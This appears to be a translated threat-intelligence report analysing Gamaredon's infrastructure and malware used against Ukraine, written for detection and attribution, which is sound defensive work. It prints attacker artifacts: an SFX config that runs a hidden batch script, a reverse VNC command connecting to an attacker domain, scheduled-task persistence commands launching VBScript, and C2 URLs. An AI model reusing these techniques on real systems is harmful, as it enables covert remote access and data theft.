自去年11月以来,俄罗斯和乌克兰之间的地缘政治紧张局势急剧升级。2022年1月14日,这场冲突蔓延到网络领域,乌克兰政府被WhisperGate攻击,虽然这些事件的原因仍在分析中,且与Gamaredon(又名Primitive Bear APT)没有已知的联系,但我们预计,随着冲突的发展,我们将在未来几周看到更多的恶意网络活动。
大多数攻击者在网络攻击中使用域名后选择丢弃域名,以便与任何可能的归属保持距离。然而,Gamaredon的方法是独特的,他们似乎不介意循环使用域名。然而,尽管该域名的归属是公开的,但它每天仍会被解析为新的互联网协议(IP)地址。
IP(194.58.100[.]17)
与 194.58.100[.]17 关联的域
通过关联的域,可以识别近700个域。这些域名已经被确认为是Gamaredon的域名。关注过去60天内与这些域相连的IP地址,可以识别出136个唯一的IP地址。有趣的是,其中131个IP地址托管在位于俄罗斯的自治系统(AS) 197695内,并由作为这些域名注册商的同一个实体(reg[.]ru. ru.)管理。
对于研究人员来说,在网络钓鱼活动的精确日期,很难将特定的有效载荷与域名和域名解析到的IP地址联系起来。此外,Gamaredon 的技术让攻击者可以在一定程度上控制谁可以访问托管在其基础设施上的恶意文件,因为嵌入在下载程序中的网页的统一资源定位器 (URL) 文件路径只能在有限的时间内工作。一旦域被替换到新的 IP 地址,对 URL 文件路径的请求将导致任何试图研究恶意软件的人出现“404”文件未找到错误。
在关注当前下载基础设施的同时,我们能够将这个集群的出现追溯到2018年。某些“标记”域,例如前面提到的libre4[.]space,至今仍很活跃,也可以追溯到2019年3月,权限仍然保持一致。在 2019 年 3 月的同一时间,在 185.158.114[.]107 上观察到一个具有主题关联命名的域集群,其中一些在今天仍然活跃在这个集群中。
2019 年 3 月 185.158.114[.]107 上的域集群
进一步追溯时间和跨域,可以发现这个基础设施集群的一个明显的初始域是 2018 年 12 月位于 195.88.209[.]136 的 bitsadmin[.]space。
2018 年 12 月的初始域 bitsadmin[.]space
我们在这里看到它与一些动态域名系统(DNS)域聚集在一起。在这个集群中后来的 IP 地址上也观察到了动态 DNS 域,尽管这种技术似乎已经落后了,因为这个集群中目前没有任何活动。
通过在公共和私人恶意软件存储库中搜索连接到 Gamaredon 基础设施的示例,在过去三个月中发现了 17 个示例。这些文件中的大多数要么由乌克兰的实体共享,要么包含乌克兰的文件名。
最近观察到的下载程序文件名
对这些文件的分析发现,它们都利用了远程模板注入技术,该技术允许文档在打开后拉下恶意代码。这使得攻击者可以控制在其他无害的文档中发送回受害者的内容。这些文档使用的远程模板“dot”文件url的最近例子包括:
许多托管在 Gamaredon 基础设施上的文件都标有抽象扩展名,例如 .cam、.cdl、.kdp 等。我们认为,这是攻击者有意减少防病毒和 URL 扫描服务对这些文件的暴露和检测。
深入研究前两个——hokoldar[.]ru 和 reapart[.]ru,分析一下最近两个网络钓鱼活动。从第一个域开始,被动 DNS 数据显示该域首先解析为 1 月 4 日与其他 Gamaredon 域共享的 IP 地址。上图 2 显示 hokoldar[.]ru 继续于 1 月 27 日与 libre4[.]space 共享 IP 地址,再次将其与 Gamaredon 基础设施相关联。在 1 月 19 日的那个短暂窗口中,我们观察到针对在乌克兰运营的西方政府实体的有针对性的网络钓鱼尝试。
除了最近的这个案例之外,我们还发现了针对乌克兰国家移民局的 Gamaredon 活动的公开证据。12 月 1 日,yana_gurina@ukr[.]net 向 6524@dmsu[.]gov.ua 发送了一封电子邮件。这封电子邮件的主题是“NOVEMBER REPORT”,并附有一个名为“Report on the LCA for June 2021(Autosaved).doc.” 的文件。这样,它就会下载并执行一个名为glitter.kdp的恶意远程Word Document Template文件。
发送至 6524@dmsu[.]gov.ua 的电子邮件
爱沙尼亚信息系统管理局网络安全部门的一个部门 CERT Estonia (CERT-EE) 最近发表了一篇关于 Gamaredon 的文章,其中涵盖了从这些远程模板文件返回的内容。为了总结他们在这方面的发现,远程模板检索要执行的 VBS 脚本,该脚本建立持久命令和控制 (C2) 签入,并在 Gamaredon 组准备好进入下一阶段时检索下一个有效负载。在 CERT-EE 的案例中,六个小时后,基础设施再次恢复生机,并下载了一个自提取 (SFX) 档案。
这种SFX档案的下载是Gamaredon组织的一个标志,它提供各种开源虚拟网络计算(VNC)软件包,该组织使用这些软件包来维护对受害计算机的远程访问。该组织目前的首选似乎是开源的UltraVNC软件。
SFX文件允许某人将其他文件打包到一个压缩文件中,然后指定当用户打开包时会发生什么。在Gamaredon的例子中,他们通常保持简单,并将一个包含简单批处理脚本和UltraVNC软件的包捆绑在一起。这个轻量级的VNC服务器可以预先配置,以发起到另一个系统的连接,通常称为反向隧道,允许攻击者绕过典型的防火墙限制,这些反向连接似乎不是由攻击者发起的,而是来自受害者所在的网络内部。为了说明这是如何发生的,我们将逐步执行我们最近识别的一个SFX文件(SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887)。
在构建SFX文件时,可以选择指定一系列命令,这些命令将在成功提取压缩文件时执行。在Gamaredon的例子中,大多数SFX文件将启动一个批处理文件,它包含在压缩文件中。在某些情况下,攻击者会在压缩中移动文件,试图混淆它们,但通常可以找到一个命令行开关,内容如下:
;!@Install@!UTF-8!
InstallPath="%APPDATA%\\Drivers"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:34679.cmd"
这会将文件解压缩到 %APPDATA%\\Drivers,然后在隐藏的控制台中运行 Windows 批处理文件 34679.cmd。在这段时间内,在我们跟踪的大多数示例中都观察到了使用 hidcon(隐藏控制台)前缀后跟带有 cmd 扩展名的四五位文件名。
文件包括在以下特别的档案中:
SFX Archive示例中包含的文件
批处理文件使用随机的字母数字字符串作为变量名,并根据示例收集不同的信息或使用不同的域和文件名。然而,它们的核心功能都会执行一个特定的功能,启动反向VNC连接。这个文件的目的是隐藏并执行所需的命令:tart "" "%CD%\sysctl.exe" -autoreconnect -id:[system media access control (MAC) address] -connect technec[.]org:8080。
上例中 34679.cmd 的内容
在本例中,攻击者设置了变量 nRwuwCwBwYwbwEwI 两次,我们认为这可能是由于从以前的脚本中复制粘贴造成的(稍后我们将更详细地介绍这一点)。这个变量以及接下来的几个变量将识别恶意软件将伪装的进程名称、用于跟踪受害者的标识符、应该建立连接的远程攻击者的域,它被放入VNC 命令,然后是 VNC 连接将使用的端口 8080。在每一个转折点,攻击者都试图融入正常的用户流量,以尽可能长时间地保持在雷达之下。
设置变量之后,命令行脚本将qlpxpqpopdpnprc .ini复制到为这次运行选择的可执行文件名称中,然后在启动该进程之前尝试使用指定的名称组织任何合法进程。ini文件的名称是随机分配的,但几乎总是VNC服务器本身的名称。
如前所述,此VNC服务器的一个好处是,它将使用提供的配置文件(UltraVNC.ini),连同 rc4.key 和 MSRC4Plugin_for_sc.dsm 这两个文件,将加密通信以进一步隐藏。
目前尚不清楚表 2 中显示的三个 .jpg 文件的用途,因为它们是 base64 编码的数据,很可能使用长密钥进行异或编码。Gamaredon 过去曾使用过这种技术,但这些很可能是攻击者在连接到系统后解码的暂存文件。
以下是来自单独文件的 SFX 启动参数,以说明攻击者如何尝试混淆文件名,而且这些潜在的暂存文件并非存在于所有示例中。
在调查这些文件时,我们发现这些.cmd文件的积极开发有助于介绍Gamaredon团队的进程。
最初,这些文件通过Tor网络上传到VirusTotal,并通过传输控制协议(TCP)/8080使用进程名svchosst,利用用户的Windows安全标识符(SID)而不是MAC地址进行VNC识别。SFX文件的名称只是1.exe。
三分钟后,我们看到通过 Tor 上传了相同的文件,但攻击者已将端口更改为 TCP/80,并在代码中引入了一个错误,导致其无法正确执行。还要注意变量的位置变化。
该错误是由于设置的 onnect 值造成的。查看反向 VNC 连接的启动方式,此值用于两个地方:-autorec%djM8MfMRM0M5MBM0% 和 -%djM8MfMRM0M5MBM0%。
第二个实例不包含正确拼写单词所需的c值,因此显示了一个无效的参数。又过了三分钟,这个攻击者上传了一个名为2.exe的SFX文件,内容中仅包含 test.cmd 和单词 test。
同样,几分钟后,我们看到 2.exe 与 test.cmd 一起被上传,但这次它包含 .cmd 文件的初始部分。但是,攻击者忘记了包含VNC连接字符串。
不过,这就是有趣的地方——大约 15 分钟后,我们看到熟悉的 2.exe 使用 test.cmd 上传,但这次它是由俄罗斯的用户直接从公共 IP 地址上传的。我们每隔几分钟就会继续观察这种上传模式,每次上传都是之前的一次轻微迭代。上传文件的人似乎在快速手动修改 .cmd 文件以恢复功能。
VNC示例中有几个域和IP地址是硬编码的,它们与任何域集群无关。
在对集群1的基础设施进行历史研究时,我们发现了一个与集群1 IP地址92.242.62[.]96相关的自签名证书:
Serial: 373890427866944398020500009522040110750114845760
SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c
Issued: 2021-01-27
Expires: 2031-01-25
Common name: ip45-159-200-109.crelcom[.]ru
尽管 Crelcom LLC 的 IP 地址 WHOIS 记录已注册到莫斯科的地址,但为包含该 IP 地址的网络块列出的技术管理员已注册到克里米亚辛菲罗波尔的地址。我们进一步将 Crelcom 的起源追溯到克里米亚的辛菲罗波尔。
该证书涉及 79 个 IP 地址:
通用名称 IP 地址——没有 Gamaredon 域;
一个 IP 地址链接到上面的集群 1 (92.242.62[.]96);
76 个 IP 地址链接到另一个不同的域集合——“集群 2”;
1 个 IP 地址将我们定向到另一个不同的集群——“集群 3”(194.67.116[.]67);
我们发现这些单独的集群之间几乎没有 IP 地址重叠。
在我们与集群2关联的76个IP地址中,有70个已确认链接到与Gamaredon文件窃取工具的变体相关的C2域。在过去的三个月里,我们已经确认了23个恶意软件示例,其中12个似乎已被乌克兰的实体共享。这些示例中的C2域包括:
最近的文件窃取程序C2域
正如你所看到的,其中一些域名是几个月前建立的,,尽管它们的年代久远,但它们的运行仍然良好。例如,在 VirusTotal 上,93 家供应商中只有 5 家认为域名 krashand[.]ru 是恶意的。
2022 年 1 月 27 日 krashand[.]ru 的 VirusTotal 结果
查看这些域的被动 DNS (pDNS) 日志可以快速发现与每个域相关联的一长串子域。一些子域遵循标准化模式。例如,一些域以重复组合的形式使用字母表的前几个字母(a、b、c)。相反,jolotras[.]ru 和 moolin[.]ru 使用随机的字母数字字符。我们认为,这些子域是文件窃取程序在首次与其 C2 服务器建立连接时动态生成的。因此,计算与特定 C2 域关联的子域的数量可以粗略衡量已尝试连接到服务器的实体数量。但是,还需要注意的是,pDNS 条目的数量也可能会受到可能正在评估与特定 C2 域相关的恶意样本的研究人员和网络安全产品的影响。
文件窃取程序基础设施的子域命名
在将这些域映射到其相应的 C2 基础设施时,我们发现这些域在它们指向的 IP 地址方面是重叠的。这使我们能够识别以下活动基础设施:
最近的文件窃取程序 IP 基础设施
值得注意的是,所有文件窃取程序基础设施似乎都托管在 AS197695 中,即前面强调的同一个 AS。从历史上看,我们已经看到 C2 域指向全球各种自治系统 (AS)。然而,截至去年 11 月初,攻击者似乎已将他们所有的文件窃取程序基础设施整合到俄罗斯 AS 中,主要是这个单一的 AS。
在映射使用此基础架构所涉及的模式时,我们发现域以类似于前面讨论的下载程序基础架构的方式跨 IP 地址轮换。恶意域今天可能指向 C2 服务器 IP 地址之一,而明天又指向另一个地址。这增加了一定程度的复杂性和混淆性,使网络防御者难以从受感染的网络中识别和删除恶意软件。因此,在网络日志中发现 C2 域需要防御者在其网络流量中搜索恶意域随着时间推移解析到的完整 IP 地址集合。例如,moolin[.]ru 自 10 月初以来已指向 11 个 IP 地址,每隔几天就会轮换到一个新 IP。
最近的文件窃取程序 IP 基础设施
将焦点转移到恶意软件本身,文件窃取程序样本以独特的方式连接到其 C2 基础设施。该恶意软件不是直接连接到 C2 域,而是执行 DNS 查找以将域转换为 IP 地址。完成后,它会直接与 IP 地址建立 HTTPS 连接。例如:
C2 域:moolin[.]ru
C2 IP地址:194.67.109[.]164
C2通讯:https://194.67.109[.]164/zB6OZj6F0zYfSQ
这种在域和物理 C2 基础设施之间创建距离的技术似乎是一种绕过 URL 过滤的尝试:
域本身仅用于初始 DNS 请求以解析 C2 服务器 IP 地址,不尝试使用域名进行实际连接。
域的识别和阻止不会影响现有的攻击,因为恶意软件将继续使用 IP 地址与 C2 服务器直接通信,即使该域随后被删除或轮换到新的 IP。
我们分析的一个最近的文件窃取程序样本(SHA256:f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824)被发现是一个 .NET 二进制文件,该二进制文件已被混淆以使分析更加困难。查看这些文件时首先跳出来的是它们的大小。这个特定文件的大小超过 136 MB,但我们观察到文件一直达到 200 MB 甚至更大。这可能是为了规避自动沙盒分析,这通常会避免扫描如此大的文件。它也可能只是所使用的混淆工具的副产品。无论文件大小的原因是什么,攻击者都会付出代价,因为这种大小的可执行文件在审查时会突出显示。将这么大的文件传输给受害者成为一项更具挑此示例中的混淆相对简单,主要依赖于定义数组并连接数百行大量单个字符的字符串,以试图将实际字符串的构造隐藏在噪声中。
在“text”变量中构建字符串“IconsCache.db”
它首先检查 Mutex Global\lCHBaUZcohRgQcOfdIFaf 是否存在,如果存在,则意味着恶意软件已经在运行,并将导致文件窃取程序退出。接下来,它将创建文件夹 C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons,其中将存储每分钟截取的屏幕截图,然后以 YYYY-MM 名称格式传输到 C2 服务器-DD-HH-MM.jpg。
为了识别 C2 服务器的 IP 地址,文件窃取程序将生成一个长度介于 8 到 23 个字符之间的字母数字字符的随机字符串,例如 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru。
如前所述,一旦文件窃取程序检索到该域的 IP 地址,它将不再使用该域名。相反,所有通信都将直接使用 IP 地址。
在执行期间,它将搜索连接到计算机的所有固定和网络驱动器以查找以下扩展名:
.doc
.docx
.xls
.rtf
.odt
. txt
.jpg
.ps1
当它在系统中有一个文件列表时,它开始为每个文件创建一个字符串,该字符串包含文件的路径、文件的大小和最后一次写入文件的时间,示例如下:
C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM
文件窃取程序获取此字符串并生成它的 MD5 哈希值,结果如下:
FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA
接下来,它从哈希中删除连字符并将所有大写字母转换为小写。然后将这些 MD5 哈希值保存到文件 C:\Users\%USER%\AppData\Local\IconsCache.db 中。这个文件的命名是另一个隐藏在合法的IconCache.db旁边的尝试。
IconsCache.db内容
该恶意软件使用此数据库来跟踪唯一文件。
然后,恶意软件将使用之前在 moolin[.]ru 域示例中说明的 DNS-IP 技术为其 C2 通信生成带有字母数字字符的 URL 路径:
https://194.67.109[.]164/zB6OZj6F0zYfSQ
以下是当前解析为集群 2 IP 地址的域的完整列表:
所有集群 2 域
与SSL证书相关的剩余IP地址与集群1或集群2都不相关,需要用到集群3。
最后一个集群似乎充当了名为Pteranodon的自定义远程管理工具的C2基础设施。Gamaredon多年来一直在使用、维护和更新这些代码的开发。它的代码包含反检测功能,专门设计来识别沙箱环境,以阻止反病毒检测尝试。它能够下载和执行文件、捕获屏幕截图并在受感染的系统上执行任意命令。
在过去的三个月里,我们发现了33个Pteranodon示例。这些示例通常命名为7ZSfxMod_x86.exe。围绕这个集群,我们确定了以下C2基础架构:
集群3域
在集群3中可以看到一种有趣的命名模式,在一些集群1主机和子域名中也可以看到这种模式。我们看到这些攻击者使用英语单词,似乎按照前两个或三个字母分组。例如:
deep-rooted.gloritapa[.]ru
deep-sinking.gloritapa[.]ru
deepwaterman.gloritapa[.]ru
deepnesses.gloritapa[.]ru
deep-lunged.gloritapa[.]ru
deerfood.gortomalo[.]ru
deerbrook.gortomalo[.]ru
despite.gortisir[.]ru
des.gortisir[.]ru
desire.gortisir[.]ru
这种模式与集群2的模式不同,但已经在一些集群1 (droppper)域上观察到,例如:
alley81.salts.kolorato[.]ru
allied.striman[.]ru
allowance.hazari[.]ru
allowance.telefar[.]ru
ally.midiatr[.]ru
allocate54.previously.bilorotka[.]ru
alluded6.perfect.bilorotka[.]ru
already67.perfection.zanulor[.]ru
already8.perfection.zanulor[.]ru
这种模式甚至被携带到相关示例创建的 HTTP POST、文件和目录中:
示例 1:
SHA256:74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee
deerflys.gortomalo[.]ru
C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deep-naked\deepmost.fly" 抵消 /create / /b /criminal //e:VBScript /cracker counteract " /F
POST /index.eef/deep-water613
示例 2:
SHA256:ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13
deer-neck.gortomalo[.]ru
"C:\Windows\System32\schtasks.exe" /CREATE /sc 分钟 /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deep-worn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F
POST /cache.jar/deerkill523
因为我们只在某些域看到这种情况,所以这可能是一小部分攻击者或团队使用的技术。它表明集群 3 示例与集群 1 示例之间可能存在联系,这些示例采用了类似的命名系统。相比之下,我们没有观察到在任何集群 1 域中使用的集群 2 的大数或随机字符串命名技术。
很赞哦! (119)